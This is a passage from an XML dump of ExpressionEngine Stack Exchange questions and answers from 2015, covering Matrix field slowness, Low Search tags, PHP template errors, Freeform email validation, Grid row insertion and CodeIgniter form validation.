up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And thanks for all comments.   &lt;/p&gt;&#xA;" OwnerUserId="5029" LastEditorUserId="5029" LastEditDate="2015-04-29T17:49:56.087" LastActivityDate="2015-04-30T13:39:02.840" Title="Add form to EE Module for front end processing" Tags="|module|validation|action|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31216" PostTypeId="1" CreationDate="2015-04-28T08:07:57.637" Score="0" ViewCount="53" Body="&lt;p&gt;I currently have a matrix field within my channel entries. When this field is empty, the edit entries loads perfectly well. However, once data is added to the matrix field, for example i have an entry with 160 rows of matrix data, the edit entry page takes at least 60 seconds to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server we are using is a fairly high spec dedicated server and we have increased php limits where possible to see if that helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem is trying to save and edited entry when the matrix data is added. We have CSV imports running to import the matrix data regularly, but we will still need to make changes elsewhere within each entry after that. This is preventing us from doing so as it either takes 3/4 minutes to submit the edited entry or we get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Maximum execution time of 300 seconds exceeded in ft.matrix.php on line 851&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I appreciate with the amount of data we have it isn't going to be as quick as normal, but the amount of time it is taking at the moment is almost unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1082" LastActivityDate="2015-04-28T08:07:57.637" Title="Matrix very slow when editing entries" Tags="|channel-entries|matrix|control-panel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31217" PostTypeId="1" AcceptedAnswerId="31223" CreationDate="2015-04-28T09:52:42.917" Score="0" ViewCount="101" Body="&lt;p&gt;I try to understand how Low Search works and been trying to get Solspace Tags as human words instead of ID's in my result page like: Your search keywords were: foo, bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I dont understand what I need to do to make this happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is example with what I have tried a lot of different setups with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be thankful if someone point me what's wrong, thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Your keywords: &amp;lt;strong&amp;gt;{exp:low_search:param:loop get=&quot;tag_id&quot; as=&quot;tag_name&quot; query=&quot;{segment_3}&quot;} {exp:tag:tag_name}{tag}{/exp:tag:tag_name}{/exp:low_search:param:loop}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="55" LastEditDate="2015-04-28T14:24:05.290" LastActivityDate="2015-04-28T17:36:07.637" Title="What I do wrong with Low Search and Tag in result page?" Tags="|search|low-search|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31219" PostTypeId="1" AcceptedAnswerId="31224" CreationDate="2015-04-28T12:12:42.010" Score="1" ViewCount="257" Body="&lt;p&gt;I have a live site currently down with the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{!-- ra:00000000638f5ffd00000000469f18aa --}    Fatal error: Cannot use object of type stdClass as array in /xxx/system/expressionengine/libraries/Functions.php(688) : eval()'d code on line 33&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added a channel entry yesterday and I know the site worked fine after that yesterday afternoon. This morning the site was down with that error so no obvious cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin section still works, running ExpressionEngine v2.9.2 &lt;/p&gt;&#xA;" OwnerUserId="6222" LastActivityDate="2015-04-29T07:38:08.147" Title="Fatal Error - Website down!" Tags="|ee2|php|error|php-errors|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31220" PostTypeId="1" CreationDate="2015-04-28T12:43:07.023" Score="0" ViewCount="43" Body="&lt;p&gt;The issue I seem to be having is that I have a member template set up with form fields and 2 of the fields seem to be buggy. For the most part all the fields submit to the admin but the issue is when I try to edit the form on the site after logging in, I get errors displayed in the email area (span data-eeEncEmail_sPFGNXeWik=)(JavaScript must be enabled to view this email address)'/&gt; and the Web Address area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code for those fields looks like this &#xA;{exp:zoo_visitor:update_form &#xA;        include_assets=&quot;yes&quot;&#xA;        return=&quot;/employee-portal&quot;&#xA;        }&#xA;        &#xA;            {exp:zoo_visitor:details}&#xA;            &lt;h3&gt;Edit profile&lt;/h3&gt;&#xA;            &lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;label for=&quot;member_email_address&quot;&amp;gt;{label:member_email_address}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;member_email_address&quot; id=&quot;member_email_address&quot; value='{if visitor:email_address}{visitor:email_address}{/if}'/&amp;gt;&#xA;        &amp;lt;/p&amp;gt;          &#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;member_website&quot;&amp;gt;{label:member_website}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;member_website&quot; id=&quot;member_website&quot; value=&quot;{if visitor:website}{visitor:website}{/if}&quot;/&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure why this is displaying in the form? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1AcF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3427" LastActivityDate="2016-06-19T05:58:19.760" Title="Zoo Visitor Email Retreive Issue into input form field" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31221" PostTypeId="2" ParentId="31196" CreationDate="2015-04-28T16:20:18.237" Score="0" Body="&lt;p&gt;So I have found the answer by myself, in case of update we have to set the require_entry=&quot;yes&quot; and need to pass the entry_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:form channel=&quot;venues&quot; entry_id=&quot;{segment_3}&quot; require_entry=&quot;yes&quot; include_jquery=&quot;no&quot; json=&quot;yes&quot; id=&quot;addVenu&quot; name=&quot;addVenu&quot; }&#xA;&#xA;       -- Controls Html Is Here---&#xA;&#xA;  {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will force to update rather then the new entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help someone else.&lt;/p&gt;&#xA;" OwnerUserId="6250" LastActivityDate="2015-04-28T16:20:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31222" PostTypeId="2" ParentId="26689" CreationDate="2015-04-28T16:38:40.853" Score="0" Body="&lt;p&gt;I think the simple answer is that the report only shows entries with an open status. Are the few entries you're seeing set to open?  Are the rest set to some other status?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-04-28T16:38:40.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31223" PostTypeId="2" ParentId="31217" CreationDate="2015-04-28T17:36:07.637" Score="2" Body="&lt;p&gt;If you're using tag IDs, then you can use the &lt;a href=&quot;http://www.solspace.com/docs/tag/cloud/&quot; rel=&quot;nofollow&quot;&gt;Cloud tag&lt;/a&gt; to display the names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing you'll read about Low Search is &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;how parameters work&lt;/strong&gt;&lt;/a&gt;. With that in mind, if you follow &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/examples#tags-1&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt;, then you could use this code to display the tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:filters query=&quot;{segment_3}&quot;}&#xA;  {exp:tag:cloud tag_id=&quot;{low_search_tag_id}&quot;}&#xA;     {tag}&#xA;  {/exp:tag:cloud}&#xA;{/exp:low_search:filters}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-28T17:36:07.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31224" PostTypeId="2" ParentId="31219" CreationDate="2015-04-28T19:41:23.093" Score="3" Body="&lt;p&gt;This is a PHP parse error. It's exactly what Derek Hogue said. On line 33 you are trying to use a stdClass as an array in some functionality on a template that has PHP parsing turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello from {site_url}!&#xA;&#xA;&amp;lt;?php&#xA;$stdclassvar = new stdClass;&#xA;echo gettype($stdclassvar);&#xA;// this outputs &quot;object&quot;&#xA;&#xA;$arrayvar = array();&#xA;echo gettype($arrayvar);&#xA;// this outputs &quot;array&quot;&#xA;&#xA;// ... down to line 33 on your template, you are confusing these two types&#xA;// here's an example that will give your error:&#xA;&#xA;$stdclassvar['random_key'] = 'random_value';&#xA;// this kills the crab (PHP parser)   &#xA;?&amp;gt;&#xA;&#xA;Goodbye from {site_url}!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function from Functions.php is part of EE's template evaluater. Please review your template and PHP code, or post it with your answer so we can fix it for you. I tested the exact code above and got your error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ra:000000004a226f8000007f5841b7ebd8 --} Hello from {site_url}!     objectarray&#xA;Fatal error: Cannot use object of type stdClass as array in     /var/www/html/system/expressionengine/libraries/Functions.php(688) : eval()'d code on line 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-04-28T19:41:23.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31225" PostTypeId="2" ParentId="17373" CreationDate="2015-04-28T20:14:11.407" Score="0" Body="&lt;p&gt;how do you confirm this is actually working? If I disable javascript the email links look the same in the source&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-04-28T20:14:11.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31226" PostTypeId="2" ParentId="31089" CreationDate="2015-04-28T20:23:27.743" Score="0" Body="&lt;p&gt;Louis at Hop Studios has posted an &lt;a href=&quot;https://devot-ee.com/add-ons/amazon-web-services-aws-products&quot; rel=&quot;nofollow&quot;&gt;update of this plugin&lt;/a&gt; which fixes the above issue.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-04-28T20:23:27.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31227" PostTypeId="2" ParentId="31027" CreationDate="2015-04-28T20:29:31.963" Score="1" Body="&lt;p&gt;I know this issue has been addressed multiple times in the support forums (and possibly already on EE Stack Exchange), but hopefully answering here too will be helpful to others down the road:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long URLs are the automatic naming convention that CE image uses to prevent naming conflicts, and to mitigate the possibility of overwriting images. However, you can use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#hide_relative_path&quot; rel=&quot;nofollow&quot;&gt;hide_relative_path=&lt;/a&gt;&quot;yes&quot; and the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#cache_dir&quot; rel=&quot;nofollow&quot;&gt;cache_dir=&lt;/a&gt; param to have more control over your S3 URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several other parameters in the documentation that give even more control over the cached (saved) image names and paths.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2015-04-28T20:29:31.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31231" PostTypeId="2" ParentId="19996" CreationDate="2015-04-28T23:19:29.913" Score="0" Body="&lt;p&gt;If hitting &quot;Unexpected ‘IN’ (VARIABLE); expected RD in Template&quot; error in EE 2.9.2 try swapping conditional from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_id IN ({low_search_category:group2})} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_id ~ '/(^|\|)'.low_search_category:group2.'($|\|)/'} checked=&quot;checked&quot; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2792" LastActivityDate="2015-04-28T23:19:29.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31232" PostTypeId="1" CreationDate="2015-04-29T01:00:47.967" Score="0" ViewCount="65" Body="&lt;p&gt;I heard about ExpressionEngine beta 2.10.0 for developers with the Zoo Visitor, and DevDemon Updater updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone knows what will are the new features of EE 2.10.0 ?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2015-05-29T20:44:34.910" Title="ExpressionEngine beta 2.10" Tags="|update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31233" PostTypeId="2" ParentId="31219" CreationDate="2015-04-29T07:38:08.147" Score="0" Body="&lt;p&gt;Thanks for pointing me in the right direction! It was indeed a php enabled template causing the issue. I was at a loss as I hadn't changed anything to cause the error from the site working which made me think it was another issue. The error was in a php script that uses the twitter api to show latest tweets on the site. It turned out my client had changed their twitter username without me knowing and that was causing the error in the script.&lt;/p&gt;&#xA;" OwnerUserId="6222" LastActivityDate="2015-04-29T07:38:08.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31235" PostTypeId="1" CreationDate="2015-04-29T08:59:56.417" Score="0" ViewCount="162" Body="&lt;p&gt;I'm using Freeform Pro composer to build a form. Validating with inline error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer&#xA;  form_name=&quot;contact_us&quot;&#xA;  form_id=&quot;2&quot; &#xA;  composer_template_name=&quot;contact_us&quot;&#xA;  return=&quot;contact_us/thank_you&quot;&#xA;  inline_errors=&quot;yes&quot;&#xA;  form:class=&quot;contact-us&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have an email field that is required. The email Field Type is text and the Field Content Type is set to email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I submit the form without any data in the email field I get a message &quot;Please fill in this field&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I fill in the field with text that's not a valid email address, I would like it to display a message telling them a valid email address is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be done without any additional coding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wayne.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2016-06-01T14:13:15.003" Title="Freeform Pro Show message when email is invalid" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31237" PostTypeId="1" CreationDate="2015-04-29T11:46:26.960" Score="0" ViewCount="155" Body="&lt;p&gt;Trying to produce a current entry count / total entries within a channel_entry tag by using a SQL query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;{channel}&quot;&#xA;  limit=&quot;1&quot;&#xA;  require_entry=&quot;yes&quot;&#xA;  status=&quot;open&quot;&#xA;  disable=&quot;{disable_default}&quot;&#xA;  orderby=&quot;title&quot;&#xA;  sort=&quot;asc&quot;&#xA;  }&#xA;&#xA;    &amp;lt;!-- entry number (row number) --&amp;gt;&#xA;    {exp:query sql=&quot;&#xA;        SET @row_number:=0;&#xA;        SELECT @row_number:=@row_number+1 AS row_number,title FROM exp_channel_titles&#xA;        WHERE channel_id = 10 AND status =&quot;open&quot;&#xA;        ORDER BY title;&#xA;        &quot;}&#xA;        {row_number}&#xA;    {/exp:query}&#xA;&#xA;    /&#xA;&#xA;    &amp;lt;!-- total entries --&amp;gt;        &#xA;    {exp:stats channel=&quot;{channel&quot;}{total_results}{/exp:stats}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Query works perfect while running it directly on the DB in the Navicat query editor. However it doesn't run (outputs nada) from within the template.&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2016-06-03T21:37:40.923" Title="SQL query issue while trying to count the entry (row)" Tags="|mysql|query|sql|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31238" PostTypeId="2" ParentId="31237" CreationDate="2015-04-29T12:53:50.593" Score="0" Body="&lt;p&gt;Could you not use a simpler query? I notice that your query is actually 2 queries (note, the 2 semi-colons)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the following work (done using MySql native) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(*) AS row_number FROM exp_channel_titles WHERE channel_id = 10 AND status ='open';&quot;}&#xA;    {row_number}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you've got some double quote hell going on, use double quote for the EE attribute and single quote inside the query (as per example)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems I'm also missing the 'FROM' clause in my example, I have corrected the above.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-29T13:51:11.627" LastActivityDate="2015-04-29T13:51:11.627" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31239" PostTypeId="2" ParentId="31235" CreationDate="2015-04-29T12:57:16.383" Score="0" Body="&lt;p&gt;2 options, one is adding server side validation which will involve extending all sorts of internal's, the other which I feel you'd like is to use a HTML5 email type field (freeform uses a text field for the email import).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this easily, please see this example that I am currently using on a site : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {freeform:field:email &#xA;        attr:type=&quot;email&quot; &#xA;        attr:id=&quot;email&quot;&#xA;        attr:required=&quot;required&quot;&#xA;        attr:size=&quot;36&quot;&#xA;        attr:placeholder=&quot;Enter your email here...&quot;}&#xA;    {if freeform:error:email}&amp;lt;p&amp;gt;{freeform:error:email}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produces the email field as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;email&quot; placeholder=&quot;Enter your email here...&quot; size=&quot;36&quot; required=&quot;required&quot; maxlength=&quot;150&quot; id=&quot;email&quot; value=&quot;&quot; name=&quot;email&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note this is client side validation, HTML5 validation only! But the server side option can be alot more complex! the irony is that CodeIgnitor has a valid_email filter, it's just that Freeform doesn't seem to use it!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-29T12:57:16.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31240" PostTypeId="2" ParentId="31197" CreationDate="2015-04-29T14:48:02.677" Score="1" Body="&lt;p&gt;From this answer : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17602/how-to-work-with-the-new-channel-forms-and-the-new-grid-fieldtype-and-updatein&quot;&gt;How to work with the new channel forms and the new grid fieldtype ( and updateing it)&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is using the {field:field_name} variable not to your requirements? I tested this and it works a treat. Otherwsie if you want to insert manually you can do it but you'll need a little php to get the right col and row indexes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do it manually, or without revealing the grid I've an example below, &lt;strong&gt;you will need to add the existing values within hidden fields&lt;/strong&gt;, as without them the existing data is wiped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    //first we need the column ID's for the grid. In my example these happen to be 3 and 4, you can get these id's from the exp_grid_columns table in the DB, I hard code them here as I know then but for portability you could write a query to get these&#xA;    $col1 = 3;&#xA;    $col2 = 4;&#xA;&#xA;    //next we need to know what the new row index is, we also need the existing values so I'll do a little query here to get it all...&#xA;    // my grid field ID is 5, label is 'children', this entry ID is 11&#xA;    $res = ee()-&amp;gt;db-&amp;gt;where('entry_id', '11')&#xA;                   -&amp;gt;order_by('row_order', 'ASC')&#xA;                   -&amp;gt;get('channel_grid_field_5');&#xA;&#xA;    //so lets count and display our results if any, for the input names, first its the grid field label (children) then rows, then the row ID and then col ID&#xA;    $new_row = 1;&#xA;    if ( $res-&amp;gt;num_rows() &amp;gt; 0 ) {&#xA;        //remember next row (starts at 1 not 0)&#xA;        $new_row = $res-&amp;gt;num_rows() + 1;&#xA;        //echo out the hidden fields&#xA;        foreach ( $res-&amp;gt;result_array() as $row ) {&#xA;            //First Column&#xA;            //create the input name separate for readability!&#xA;            $inputName = 'children[rows]';&#xA;            $inputName .= '[row_id_' . $row['row_id'] . ']';&#xA;            $inputName .= '[col_id_' . $col1 . ']';&#xA;            echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;' . $inputName . '&quot; value=&quot;' . $row['col_id_' . $col1] . '&quot; /&amp;gt;';&#xA;            //Second Column&#xA;            $inputName = 'children[rows]';&#xA;            $inputName .= '[row_id_' . $row['row_id'] . ']';&#xA;            $inputName .= '[col_id_' . $col2 . ']';&#xA;            echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;' . $inputName . '&quot; value=&quot;' . $row['col_id_' . $col2] . '&quot; /&amp;gt;';&#xA;        }&#xA;    }&#xA;&#xA;    //lastly, lets output text boxes for the new row&#xA;    //First Column&#xA;    echo '&amp;lt;input type=&quot;text&quot; name=&quot;children[rows][new_row_' . $new_row . '][col_id_' . $col1 . ']&quot; value=&quot;&quot; dir=&quot;ltr&quot; field_content_type=&quot;all&quot; maxlength=&quot;256&quot; /&amp;gt;';&#xA;    //Second Column&#xA;    echo '&amp;lt;input type=&quot;text&quot; name=&quot;children[rows][new_row_' . $new_row . '][col_id_' . $col2 . ']&quot; value=&quot;&quot; dir=&quot;ltr&quot; field_content_type=&quot;all&quot; maxlength=&quot;256&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There you go!, this works well on my sandbox EE install, in my test I had 2 rows populated in CP, so I ended up with 4 hidden fields, and 2 new value text boxes each with &lt;code&gt;new_row_3&lt;/code&gt; in the name. Worked fine to append new rows to the grid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, my test was using the nice basic Text Input fields, other fiedl types might require different fashioning of their input names, and if one of the fields is a relationship field you're right in it! this wiuld constitute another question though, the example above shows how to add grid rows, without displaying the existing rows (if you want the entire matrix as it is in CP then see the answer linked at the beginning of this post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS&gt; Sorry for the late reply, its been hectic here!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-04-30T09:23:19.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31241" PostTypeId="2" ParentId="31215" CreationDate="2015-04-29T15:02:27.567" Score="2" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/libraries/form_validation.html&quot; rel=&quot;nofollow&quot;&gt;Code Ignitor Validation Helper&lt;/a&gt;. You can use this within PHP on an EE template, it really is as easy as this (example from the CI Docs), just replacing $this with a reference to EE : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function gmail_only($value){&#xA;        return ( stripos(strtolower($value), '@gmail.com') !== false );&#xA;    }&#xA;&#xA;    ee()-&amp;gt;load-&amp;gt;helper(array('form', 'url'));&#xA;&#xA;    ee()-&amp;gt;load-&amp;gt;library('form_validation');&#xA;&#xA;    ee()-&amp;gt;form_validation-&amp;gt;set_rules('username', 'Username', 'required');&#xA;    ee()-&amp;gt;form_validation-&amp;gt;set_rules('password', 'Password', 'required');&#xA;    ee()-&amp;gt;form_validation-&amp;gt;set_rules('passconf', 'Password Confirmation', 'required');&#xA;    ee()-&amp;gt;form_validation-&amp;gt;set_rules('email', 'Email', 'required|valid_email|callback_gmail_only');&#xA;&#xA;    if (ee()-&amp;gt;form_validation-&amp;gt;run() == FALSE)&#xA;    {&#xA;        //validation failed, back to form, show error messages!&#xA;    }&#xA;    else&#xA;    {&#xA;        //GREAT SUCCESS, do what you need to do!&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is literally it, in the exampe there's a form with 4 fields, username, passwrod, password confirm and email. All are required and email needs to be a valid email too. You can even use custom validation callbacks for complex things (see the docs linked above for this too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; You also get the error's array when you run form validation, so you can use that to populate inline errors ect. as for routing what I tend to do is run the submission code on the same template as the form itself and post the form back to the current URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can create your error array if validation fails, or a success message if it all worked out, then on the template where the form is displayed you can do an &lt;code&gt;if ( count($errors) )&lt;/code&gt; or something to detect if you're siaplying errors, &lt;code&gt;if ( !empty($success) )&lt;/code&gt; or similar to display a success message and just display the form if it's not a submission (errors and success are empty). No need for redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS&gt; When it comes to EE, I am very much a 'roll your own' kind of guy. I find the extra work of creating modules, tag parsers and routing quite erronious especially if the function your developing has very little re-usability, i.e. a specifically crafted form for a specific client/website/page.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-30T09:29:56.783" LastActivityDate="2015-04-30T09:29:56.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31242" PostTypeId="2" ParentId="31215" CreationDate="2015-04-29T18:06:03.973" Score="0" Body="&lt;p&gt;This is one solution I am working on, I had been looking over ee-recipes and Andrew Weaver has been giving me some code as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function test_form() {&#xA;&#xA;// Build an array to hold the form's hidden fields&#xA;$hidden_fields = array(&#xA;    &quot;ACT&quot; =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id( 'Clubmanager', 'action_form' ),&#xA;    &quot;return&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;fetch_param('return')&#xA;);&#xA;&#xA;// Build an array with the form data&#xA;$form_data = array(&#xA;    // Send form back to this url - the action must be the same as the form&#xA;    &quot;action&quot; =&amp;gt; ee()-&amp;gt;functions-&amp;gt;create_url( ee()-&amp;gt;uri-&amp;gt;uri_string ), &#xA;    &quot;id&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;form_id,&#xA;    &quot;class&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;form_class,&#xA;    &quot;hidden_fields&quot; =&amp;gt; $hidden_fields&#xA;);&#xA;&#xA;// Make sure errors is actually an array&#xA;if( ! is_array( self::$errors ) ) {&#xA;    self::$errors = array();&#xA;}&#xA;&#xA;// Set up array to parse tagdata&#xA;$variables = array(&#xA;    &quot;errors&quot; =&amp;gt; array( self::$errors ), // list of error messages&#xA;    // repopulate form with these variables&#xA;    &quot;firstname&quot; =&amp;gt; isset( self::$formdata[&quot;firstname&quot;] ) ? self::$formdata[&quot;firstname&quot;] : &quot;&quot;,&#xA;    &quot;lastname&quot; =&amp;gt; isset( self::$formdata[&quot;lastname&quot;] ) ?  self::$formdata[&quot;lastname&quot;] : &quot;&quot;&#xA;);&#xA;&#xA;// Fetch contents of the tag pair, ie, the form contents&#xA;$tagdata = ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;// Parse tagdata for errors/submitted values&#xA;$tagdata = ee()-&amp;gt;TMPL-&amp;gt;parse_variables_row( $tagdata, $variables );&#xA;&#xA;// Create the form&#xA;$form = ee()-&amp;gt;functions-&amp;gt;form_declaration($form_data) . &#xA;    $tagdata . &#xA;    &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;return $form;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Action Form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public function action_form() {&#xA;&#xA;// use CI validation library to check submission&#xA;ee()-&amp;gt;load-&amp;gt;library('form_validation');&#xA;ee()-&amp;gt;form_validation-&amp;gt;set_rules('firstname', 'lang:firstname', 